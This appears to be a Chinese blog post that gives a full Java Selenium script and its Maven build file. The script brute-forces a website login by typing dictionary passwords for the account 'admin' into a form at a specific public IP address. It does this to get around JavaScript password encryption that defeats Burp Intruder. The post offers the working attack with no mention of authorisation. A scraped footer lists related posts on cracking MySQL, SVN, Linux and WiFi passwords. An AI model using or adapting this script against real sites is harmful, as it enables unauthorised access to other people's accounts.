经常碰到网站,账号密码通过js加密后进行提交。通过burp拦截抓到的账号密码是加密后的,所以无法通过burp instruder进行破解。只能模拟浏览器填写表单并点击登录按钮进行破解。于是想到了自动化web测试工具selenium,代码如下,测试效果还不错。

package com.example.tests;

import java.util.regex.Pattern;
import java.io.BufferedReader;
import java.io.File;
import java.io.FileInputStream;
import java.io.FileReader;
import java.util.concurrent.TimeUnit;
import org.junit.*;
import static org.junit.Assert.*;
import static org.hamcrest.CoreMatchers.*;
import org.openqa.selenium.*;
import org.openqa.selenium.firefox.FirefoxDriver;
import org.openqa.selenium.support.ui.Select;

public class GS {
private WebDriver driver;
private String baseUrl;
private boolean acceptNextAlert = true;
private StringBuffer verificationErrors = new StringBuffer();

@Before
public void setUp() throws Exception {
driver = new FirefoxDriver();
baseUrl = "http://223.116.34.113:81/";
driver.manage().timeouts().implicitlyWait(30, TimeUnit.SECONDS);
}

@Test
public void testGS() throws Exception {

File file = new File("C:\\Users\\root\\Desktop\\xxx\\password.txt");   //加载密码字典
FileReader fr = new FileReader(file);
@SuppressWarnings("resource")
BufferedReader br = new BufferedReader(fr);
@SuppressWarnings("unused")
String str = "";

while ((str = br.readLine()) != null) {   //循环读取字典里的每一行
String url = baseUrl + "/web/login.aspx?" + str;  // 后边加上str是为了每次强制刷新url,加不加看具体情况
driver.get(url);
driver.findElement(By.id("txt_UserID")).clear();  //清空用户名输入框
driver.findElement(By.id("txt_UserID")).sendKeys(admin);  //设置用户名
driver.findElement(By.id("txt_Password")).clear();  //清空密码输入框
driver.findElement(By.id("txt_Password")).sendKeys(str);  //设置密码

driver.findElement(By.xpath("//a/span")).click();  //模拟点击登录按钮
Thread.sleep(1000);   //等待一秒,是否等待看具体情况。
String cururl = driver.getCurrentUrl();   // 获取当前url
if (!cururl.equals(url + "#")) {   //如果登录成功会跳转,则url会发生变化
System.out.println(str);   //输入可以登录成功的密码

}
}
}

@After
public void tearDown() throws Exception {
driver.quit();
String verificationErrorString = verificationErrors.toString();
if (!"".equals(verificationErrorString)) {
fail(verificationErrorString);
}
}

private boolean isElementPresent(By by) {
try {
driver.findElement(by);
return true;
} catch (NoSuchElementException e) {
return false;
}
}

private boolean isAlertPresent() {
try {
driver.switchTo().alert();
return true;
} catch (NoAlertPresentException e) {
return false;
}
}

private String closeAlertAndGetItsText() {
try {
Alert alert = driver.switchTo().alert();
String alertText = alert.getText();
if (acceptNextAlert) {
alert.accept();
} else {
alert.dismiss();
}
return alertText;
} finally {
acceptNextAlert = true;
}
}
}

以上代码依赖如下(maven):pom.xml

<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>

<groupId>F</groupId>
<artifactId>F</artifactId>
<version>0.0.1-SNAPSHOT</version>
<packaging>jar</packaging>

<name>F</name>
<url>http://maven.apache.org</url>

<properties>
<project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
</properties>

<dependencies>
<dependency>
<groupId>junit</groupId>
<artifactId>junit</artifactId>
<version>4.12</version>
</dependency>

<dependency>
<groupId>org.seleniumhq.selenium</groupId>
<artifactId>selenium-java</artifactId>
<version>2.53.0</version>
</dependency>

<dependency>
<groupId>org.seleniumhq.selenium</groupId>
<artifactId>selenium-firefox-driver</artifactId>
<version>2.53.0</version>
</dependency>

</dependencies>
</project>

使用selenium进行密码破解(绕过账号密码JS加密)的更多相关文章

  1. mysql 暴力破解 root账号密码

    测试数据库的root账号密码大家都忘记了,好吧,那我们就暴力破解吧 1.找到my.cnf vi /etc/my.cnf在[mysqld]的段中加上一句:skip-grant-tables例如:[mys ...

  2. 利用python破解sqlserver账号密码

    一.编写密码测试函数 在用python连接mssql数据库的时候,通常会使用pymssql模板中的connect函数,格式如下: connect(server,user,password,databa ...

  3. SVN 密码破解,svn密码本地找回 忘记密码

    svn 密码被保存在本地文件中 C:\Users\[your computer name]\AppData\Roaming\Subversion\auth\svn.simple 文件下. 加密保存 到 ...

  4. Kali-linux破解操作系统用户密码

    当忘记操作系统的密码或者攻击某台主机时,需要知道该系统中某个用户的用户名和密码.本节将分别介绍破解Windows和Linux用户密码. 8.6.1 破解Windows用户密码 Windows系统的用户 ...

  5. CDLinux环境下WiFi密码破解

    > 准备好所需软件以及上篇教程中使用Fbinstool制作的可启动U盘 2 > 解压CDLinux-0.9-spring-0412.iso到U盘的根目录  如图 3 > 打开fbin ...

  6. Word密码破解工具字典攻击用来干什么的

    AOPR全称Advanced Office Password Recovery作为一款专业的Word密码破解工具,是通过暴力破解的方式帮助用户迅速恢复各种Word文档的密码,其中常常会用到字典攻击,这 ...

  7. Kali Linux Web 渗透测试视频教程— 第十三课-密码破解

    Kali Linux Web 渗透测试— 第十三课-密码破解 文/玄魂 目录 Kali Linux Web 渗透测试— 第十三课-密码破解............................... ...

  8. yii2高级版账号密码问题

    yii2高级版默认后台没有密码,生成账号密码步骤: 1. CREATE TABLE `user` ( `id` int(11) NOT NULL AUTO_INCREMENT, `username` ...

  9. [转]Linux下的暴力密码破解工具Hydra详解

    摘自:http://linzhibin824.blog.163.com/blog/static/735577102013144223127/ 这款暴力密码破解工具相当强大,支持几乎所有协议的在线密码破 ...

随机推荐

  1. EditPlus设置html和js文件的注释快捷键

    EditPlus默认是可以通过快捷键注释html的,格式是 <!-- </label> <label>类型</label> <label> --& ...

  2. 8.1.1 Service的生命周期

    2010-06-21 16:57 李宁 中国水利水电出版社 字号:T | T <Android/OPhone开发完全讲义>第8章Android服务,本章主要介绍了Android系统 中的服 ...

  3. unity, write/read txt file

    在Assets下新建文件夹StreamingAssets.然后下面代码可在其中生成test.txt文件,并读写: using UnityEngine;using System.Collections; ...

  4. doxygen可以生成C/C++代码的文档(根据注释)

    类似这样的注释(目前还没用到,先写一个笔记在这,免得忘了) 就像java的注释生成html文档一样

  5. Charles 的几个调试技巧

    Charles 是一个网络调试的代理工具,类似 Windows 下的 Fildder,这里介绍下几个常用的调试技巧,使用的版本是 Charles 4. 1.移动端抓包 在移动开发中,经常会遇到在手机上 ...

  6. 文件上传下载:commons-fileupload + Servlet 2.5

    数据库:MySQL 开发技术:JSP + Servlet 2.5 第三方的上传组件: commons-fileupload connons-io 上传页面1.form表单需要增加:enctype=&q ...

  7. typescript 接口的新认识

    interface 用于接收服务器的数据. eg: interface mmmmm { x: string, y: number, z: number, select: KnockoutObserva ...

  8. 集合映射Set(使用xml文件)

    如果持久类具有Set对象,可以在映射文件中使用set元素映射Set集合. set元素不需要索引元素. List和Set之间的区别是: Set只存储唯一的值. 我们来看看我们如何在映射文件中实现集合: ...

  9. Laravel5.1 路由 -路由分组

    路由分组有啥好处? 有时候啊 一大堆路由它们都有共同的地方,比如都使用一个中间件(过两天写)或是前缀都一样,避免代码重复 我们可以将他们分到一组中. 1 路由分组可以共享哪些属性? 中间件 middl ...

  10. 机器学习之猫狗大战,解决image RGB values must be in the 0..1 range.

    猫狗大战是比较经典的机器学习案例,前几天体验了一番,来记录一下 1.图片准备 首先是准备训练的图片 链接:https://pan.baidu.com/s/1ht1HIuw 密码:aw9s 2.开始训练 ...